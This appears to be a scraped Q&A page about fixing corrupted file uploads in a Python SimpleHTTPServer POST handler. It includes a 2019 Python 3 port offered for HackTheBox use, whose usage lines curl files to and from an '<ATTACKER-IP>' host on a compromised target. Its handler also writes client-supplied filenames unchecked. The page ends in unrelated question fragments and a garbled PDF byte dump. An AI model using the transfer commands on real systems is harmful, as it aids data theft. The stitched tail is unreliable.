我正在使用SimpleHTTPServer的do_POST方法接收文件。如果我使用curl上传png文件,脚本工作正常,但每当我使用python请求库上传文件时,文件上传会损坏。这是SimpleHTTPServer代码
#!/usr/bin/env python
# Simple HTTP Server With Upload.
import os
import posixpath
import BaseHTTPServer
import urllib
import cgi
import shutil
import mimetypes
import re
try:
from cStringIO import StringIO
except ImportError:
from StringIO import StringIO
class SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
# Simple HTTP request handler with POST commands.
def do_POST(self):
"""Serve a POST request."""
r, info = self.deal_post_data()
print r, info, "by: ", self.client_address
f = StringIO()
if r:
f.write("<strong>Success:</strong>")
else:
f.write("<strong>Failed:</strong>")
length = f.tell()
f.seek(0)
self.send_response(200)
self.send_header("Content-type", "text/html")
self.send_header("Content-Length", str(length))
self.end_headers()
if f:
self.copyfile(f, self.wfile)
f.close()
def deal_post_data(self):
print self.headers
boundary = self.headers.plisttext.split("=")[1]
print 'Boundary %s' %boundary
remainbytes = int(self.headers['content-length'])
print "Remain Bytes %s" %remainbytes
line = self.rfile.readline()
remainbytes -= len(line)
if not boundary in line:
return (False, "Content NOT begin with boundary")
line = self.rfile.readline()
remainbytes -= len(line)
fn = re.findall(r'Content-Disposition.*name="file"; filename="(.*)"', line)
if not fn:
return (False, "Can't find out file name...")
path = self.translate_path(self.path)
fn = os.path.join(path, fn[0])
line = self.rfile.readline()
remainbytes -= len(line)
line = self.rfile.readline()
remainbytes -= len(line)
try:
out = open(fn, 'wb')
except IOError:
return (False, "Can't create file to write, do you have permission to write?")
preline = self.rfile.readline()
remainbytes -= len(preline)
while remainbytes > 0:
line = self.rfile.readline()
remainbytes -= len(line)
if boundary in line:
preline = preline[0:-1]
if preline.endswith('\r'):
preline = preline[0:-1]
out.write(preline)
out.close()
return (True, "File '%s' upload success!" % fn)
else:
out.write(preline)
preline = line
return (False, "Unexpect Ends of data.")
def translate_path(self, path):
"""Translate a /-separated PATH to the local filename syntax.
Components that mean special things to the local file system
(e.g. drive or directory names) are ignored. (XXX They should
probably be diagnosed.)
"""
# abandon query parameters
path = path.split('?',1)[0]
path = path.split('#',1)[0]
path = posixpath.normpath(urllib.unquote(path))
words = path.split('/')
words = filter(None, words)
path = os.getcwd()
for word in words:
drive, word = os.path.splitdrive(word)
head, word = os.path.split(word)
if word in (os.curdir, os.pardir): continue
path = os.path.join(path, word)
return path
def copyfile(self, source, outputfile):
"""Copy all data between two file objects.
The SOURCE argument is a file object open for reading
(or anything with a read() method) and the DESTINATION
argument is a file object open for writing (or
anything with a write() method).
The only reason for overriding this would be to change
the block size or perhaps to replace newlines by CRLF
-- note however that this the default server uses this
to copy binary data as well.
"""
shutil.copyfileobj(source, outputfile)
def test(HandlerClass = SimpleHTTPRequestHandler,
ServerClass = BaseHTTPServer.HTTPServer):
BaseHTTPServer.test(HandlerClass, ServerClass)
if __name__ == '__main__':
test()
上传文件的客户端代码在这里
#!/usr/bin/python
import requests
files = {'file': open('test.png', 'rb')}
r = requests.post('http://192.168.5.134:8000', files=files)
print r.request.headers
文件已成功上载,但已损坏。
python请求头
SimpleHTTPServer响应
使用curl[curl-F'file=@test.png'192.168.5.134:8000/-v],文件上传并成功打开。
python请求代码中有任何问题吗?
curl
和request
的头稍有不同,curl
有一个额外的空行,而requests
没有。
将preline=self.rfile.readline()
替换为以下块
if line.strip():
preline = line
else:
preline = self.rfile.readline()
2019年更新:我今天在hackthebox上玩的时候正在寻找这个功能。欧盟。我对Python不太了解,但我最终以这个例子将其移植到Python 3,因为Python 2在这一点上基本上已经过时了。
希望这能帮助2019年寻找这一点的人,我总是很高兴听到我可以改进代码的方法。在https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c
感谢提问者,以及那些评论信息的人!
编辑:我被要求粘贴代码,不用担心。我删去了一些简短的评论,下面是一些注释:
从存放工具/数据的文件夹中的攻击设备运行脚本,或从正在旋转的框中运行脚本。从目标PC连接到它,简单方便地来回推送文件。
# Usage - connect from a shell on the target machine:
# Download a file from your attack device:
curl -O http://<ATTACKER-IP>:44444/<FILENAME>
# Upload a file back to your attack device:
curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:44444/
# Multiple file upload supported, just add more -F 'file=@<FILENAME>'
# parameters to the command line.
curl -F 'file=@<FILE1>' -F 'file=@<FILE2>' http://<ATTACKER-IP>:44444/
代码:
#!/usr/env python3
import http.server
import socketserver
import io
import cgi
# Change this to serve on a different port
PORT = 44444
class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
r, info = self.deal_post_data()
print(r, info, "by: ", self.client_address)
f = io.BytesIO()
if r:
f.write(b"Success\n")
else:
f.write(b"Failed\n")
length = f.tell()
f.seek(0)
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.send_header("Content-Length", str(length))
self.end_headers()
if f:
self.copyfile(f, self.wfile)
f.close()
def deal_post_data(self):
ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
if ctype == 'multipart/form-data':
form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], })
print (type(form))
try:
if isinstance(form["file"], list):
for record in form["file"]:
open("./%s"%record.filename, "wb").write(record.file.read())
else:
open("./%s"%form["file"].filename, "wb").write(form["file"].file.read())
except IOError:
return (False, "Can't create file to write, do you have permission to write?")
return (True, "Files uploaded")
Handler = CustomHTTPRequestHandler
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print("serving at port", PORT)
httpd.serve_forever()
问题内容: 简介:我有一个Servlet,它接收一个我无法读取的请求(getContentType()= audio / x-wav)。我需要阅读此wave并将其保存在服务器端。 详细的故事:我对Flex,javascript,PHP和Python一无所知,我想记录(从客户端“浏览器”中获取)wave文件并将其发送到服务器以进行保存(以进行进一步的ASR处理)。 经过一番搜索后,我发现了一个我已经
我已经试着解决了好几个小时了,但还是没能解决。我设置了这个editText,称为活动上的布局,并将其连接到活动上的变量,当您单击字段时,它会打开可视键盘,但当您按下一个键时,它会将您带到类似浏览器的搜索屏幕,而不只是更新editText的文本。 在我的xml编辑文本是: 在我这样做的活动中 我还是找不到办法让它不发生。你能帮助我吗?
问题内容: 我已经用套接字卡住了4h,我使用的方式是只有一个应用程序作为客户端和服务器,一旦客户端连接, 它将与新客户端一起打开theard,并等待消息。 一旦消息发送到服务器,客户端将收到响应,该部分正在正常工作。 客户专区的一部分: 服务器支持2条消息,第一条是“列表”,发送一条命令是“获取值”。 如果客户端将请求命令“列表”,它将运行以下命令:有一个“服务器/客户端”,它正在发送请求并接收一
%pdf-1.3 3 0 obj<>endobj 4 0 obj<>stream x 3 r 2 35 w(r q w 3 t 04 30 pisp z*[(Hx+(j*d 7 w endstream endobj 1 0 obj< >endobj 5 0 obj /xobject<<>>endobj 6 0 obj<endobj 7 0 obj<endobj xref 0 8 000 00000
我的api正在生成一个pdf文件并返回它。我在“邮差”中收到的邮件头是... 我可以保存文件内容,邮递员没有问题。 然而,当我试图从角度来理解这一点时,有一个问题。 我设置标题如下... 然后我尝试了两种不同的方法。 首先是使用< code>responseType: 'blob'。这返回blob没有问题。正如您在上面看到的,问题是文件名在响应头中。对于blob响应,我无法获取标题。 第二,我没有
问题内容: 我正在尝试开发一个非常简单的客户端/服务器,其中客户端将文件转换为字节,将其发送到服务器,然后将字节转换回文件。 当前,程序仅创建一个空文件。我不是一个出色的Java开发人员,因此不胜感激。 这是接收客户端发送的内容的服务器部分。 这是客户端部分 问题答案: 在Java中复制流的正确方法如下: 希望我每次在论坛上发布时都能获得一美元。